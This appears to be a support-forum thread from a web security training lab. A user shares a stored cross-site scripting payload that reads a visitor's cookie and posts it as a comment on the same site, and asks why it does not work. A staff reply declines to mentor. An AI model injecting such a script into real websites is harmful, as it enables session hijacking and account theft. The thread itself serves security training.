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Exploiting cross-site scripting to steal cookie

Dai | Last updated: Sep 04, 2019 11:35AM UTC

I'm doing the lab without using Burp Collaborator, so i need to write some custom JavaScript to make a POST request to comment the cookie whenever a user views the comment. My code is as follow: <script> var cookie = document.cookie var changeReq = new XMLHttpRequest(); changeReq.open('post', '/post/comment', true); changeReq.send('csrf=xFqO8r8W2Qip7I1wkiCLgI2WcimCYbwB&postId=1&comment='+cookie+'&name=asdf&email=adsf%40adf&website=http%3A%2F%2Faffaf.com'); </script> But it doesn't seem to work. I'm at a loss at how to test / verify it or how to change it. Could some one please advice? Thanks

Liam, PortSwigger Agent | Last updated: Sep 04, 2019 03:46PM UTC

We don't provide a mentoring service for the labs. This might be something we consider doing in future along with video based solutions. The lab can be completed. Keep trying.

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